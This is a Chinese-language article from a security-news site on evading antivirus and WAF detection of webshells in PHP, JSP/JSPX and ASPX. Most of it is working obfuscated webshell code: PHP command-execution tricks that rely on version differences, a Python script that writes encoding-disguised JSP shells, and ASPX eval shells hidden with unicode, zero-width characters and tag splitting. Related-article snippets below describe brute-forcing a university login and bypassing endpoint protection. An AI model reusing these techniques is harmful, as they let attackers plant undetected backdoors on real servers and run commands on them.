<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    分享 | 幾種實戰成功過的webshell免殺方式

    VSole2022-05-24 06:11:13

    0x01 php的免殺

    傳統的php免殺不用多說了,無非就是各種變形和外部參數獲取,對于一些先進的waf和防火墻來說,不論如何解析最終都會到達命令執行的地方,但是如果語法報錯的話,就可能導致解析失敗了,這里簡單說幾個利用php版本來進行語義出錯的php命令執行方式。

    1、利用在高版本php語法不換行來執行命令

    =
    $a=<<< aa
    assasssasssasssasssasssasssasssasssasssasssassss
    aa;echo `whoami`
    ?>
    

    5.2 版本報錯

    5.3 版本報錯

    5.4 版本報錯

    7.3.4 成功執行命令

    2、利用\特殊符號來引起報錯

    \echo `whoami`;?>
    

    5.3 執行命令失敗

    7.3 執行命令失敗

    5.2 成功執行

    3、十六進制字符串

    在php7中不認為是數字,php5則依舊為數字,經過測試 5.3 和5.5可以成功執行命令,5.2和php7無法執行。


    $s=substr("aabbccsystem","0x6");
    $s(whoami)
    ?>
    

    7.3 命令執行失敗

    5.2 命令執行失敗

    5.3 命令執行成功

    除此之外,還有很多種利用版本差異性來bypass一些沒有對所有版本進行檢測更新的所謂的"先進waf"。

    當然,對于我們可以結合垃圾數據,變形混淆,以及大量特殊字符和注釋的方式來構造更多的payload,畢竟每家的waf規則不同,配置也不同,與一些傳輸層面的bypass進行結合產生的可能性就會非常多樣。

    例如:

    7.0版本的??特性,如果版本為5.x的話就會報錯,可以結合一些其他的方式吧

    $a = $_GET['function'] ?? 'whoami';
    $b = $_GET['cmd'] ?? 'whoami';
    $a(null.(null.$b));
    

    0x02 jsp的免殺

    本人對java研究的不是非常深入,因此主要分享的還是平時收集的幾個小tips,如果有沒看過的師傅現在看到了也是極好的,java unicode繞過就不再多言。

    0、小小Tips

    jsp的后綴可以兼容為jspx的代碼,也兼容jspx的所有特性,如CDATA特性。

    jspx的后綴不兼容為jsp的代碼,jspx只能用jspx的格式。

    1、jspx CDATA特性

    在XML元素里,<和&是非法的,遇到<解析器會把該字符解釋為新元素的開始,遇到&解析器會把該字符解釋為字符實體化編碼的開始。

    但是我們有時候有需要在jspx里添加js代碼用到大量的<和&字符,因此可以將腳本代碼定義為CDATA。

    CDATA部分內容會被解析器忽略,此時ameter依舊會與getPar拼接成為getParameter。


    格式:
    例如:String cmd = request.getPar("shell");
    

    2、實體化編碼

    if (cmd !=null){
            Process child = Runtime.getRuntime().exec(cmd);
            InputStream in = child.getInputStream();
    

    3、利用java支持其他編碼格式來進行繞過

    #python2
    charset = "utf-8"
    data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
    f16be = open('utf-16be.jsp','wb')
    f16be.write('<%@ page contentType="charset=utf-16be" %>')
    f16be.write(data.encode('utf-16be'))
    f16le = open('utf-16le.jsp','wb')
    f16le.write('')
    f16le.write(data.encode('utf-16le'))
    fcp037 = open('cp037.jsp','wb')
    fcp037.write(data.encode('cp037'))
    fcp037.write('<%@ page contentType="charset=cp037"/>')
    

    可以看到對于D盾的免殺效果還是非常好的。

    0x03 aspx的免殺

    aspx免殺的方式相對于PHP和java的較少,這里列出5種方式來bypass進行免殺

    unicode編碼
    空字符串連接
    <%%>截斷
    頭部替換
    特殊符號@
    注釋
    

    我們以一個普通的冰蝎馬作為示例

    <%@ Page Language="Jscript"%>eval(@Request.Item["pass"],"unsafe");%
    

    這一步無需多言,一定是會被D盾所查殺的

    1、unicode編碼

    例如eval他可以變為\u0065\u0076\u0061\u006c,經過我本地的測試,它不支持大U和多個0的增加

    <%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
    

    2、空字符串連接

    在函數字符串中插入這些字符都不會影響腳本的正常運行,在測試前需要注意該類字符插入的位置,否則插入錯誤的地方會產生報錯


    \u200c
    \u200d
    \u200e
    \u200f
    

    3、使用<%%>語法

    將整個字符串與函數利用<%%>進行分割

    <%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
    

    4、頭部免殺

    之前有遇到過檢測該字段的<%@ Page Language="C#" %>,這個是標識ASPX的一個字段,針對該字段進行免殺%@Language=CSHARP%,很久之前修改為這樣就過了,同樣的,可以修改為

    <%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
    

    也可以將該字段放在后面,不一定要放前面等

    5、使用符號

    如哥斯拉webshell存在特征代碼,可以添加@符號但是不會影響其解析。

    (Context.Session["payload"] == null)
    (@Context.@Session["payload"] == null)
    

    6、注釋可以隨意插入

    如下所示為冰蝎部分代碼,可以與<%%>結合使用效果會更好。

    免殺webshell
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    星辰由凌日內部大佬花了兩天時間用php語言開發的帶ui的工具,使用者可上傳由冰蝎或者天蝎生成的webshell,動態自動生成webshell。目前只支持php和jsp,其它語言各位使用者可自己去編寫腳本實現。依賴:php5.6.7+mysql+nginx后臺管理:/admin功能:1、授權功能,用戶shell生成次數限制。
    webshell之傳參方式及特征繞過傳參方式 在這里解釋一下為什么,需要講述傳參方式,由于在很多情況下,以請求頭作為參數傳遞并非waf和人工排查的重中之重且非常誤導和隱藏
    哥斯拉WebShell生成器
    引擎可以將傳統的條件、循環、函數、對象的靜態分析,目前還可以支持動態變量名、箭頭函數、反射、回調等動態特性的分析,大大的強化的未知樣本的檢測成功率。
    冰蝎流量初探
    2022-12-20 09:11:06
    本文僅針對冰蝎流量改造進行初步探討,熟悉一下整個流程,真的要繞流量設備,估計還需要其他的技巧。
    Windows defender 介紹Microsoft Defender 防病毒軟件在 Windows 1
    與此同時,隨著眾邦銀行的業務規模不斷擴大,服務客戶數量不斷提升,日益增加的服務器數量,使得系統、應用、端口等核心資產快速增加,管理難度日益增加。眾邦銀行安全負責人說。經過一段時間的磨合與實戰化運營,眾邦銀行實現了以下幾個目標: 首先是資產管理,全局在握。眾邦銀行負責人表示,目前椒圖可以幫助眾邦銀行自動識別系統和應用高危漏洞數量近700項,基本覆蓋所有主流可利用的漏洞。
    用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之后的寬限天數:賬號失效時間:保留。查看下pid所對應的進程文件路徑,
    0x01 前言最近遇到這樣一個場景:目標僅支持ASP腳本,而且還存在網站安全狗和360安全衛士,目前存在的兩個問題。安全狗"禁止IIS執行程序"限制了命令執行;360"進程防護"攔截了執行木馬和提權、抓明文等;這是因為wscript.shell命令執行組件被卸載了,試了下shell.application組件,結果發現也不行。當我們執行進程遷移跳出IIS的w3wp.exe進程后就已經完全繞過了安全狗"禁止IIS執行程序"限制命令執行,這時可以直接通過執行shell命令進入執行系統命令了。
    獲取到老的其他系統登錄口http://xxx.xxx.edu.cn/psy/Login2.aspx如圖,沒有任何驗證碼機制直接Burp Cluster bomb式爆破成功得到其他系統的弱口令admin,Aa123456但是老系統其他頁面已經刪除,無法正常登入后臺八嘎呀路,不是良民的干活!但推測新老系統用的同一個數據庫訪問新系統http://xxx.xxx.edu.cn/psy/Login.aspx使用密碼admin,Aa123456成功登陸后臺翻找上傳點上傳點在http://xxx.xxx.edu.cn/psy/ScaleManage/ScaleEdit.aspx?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类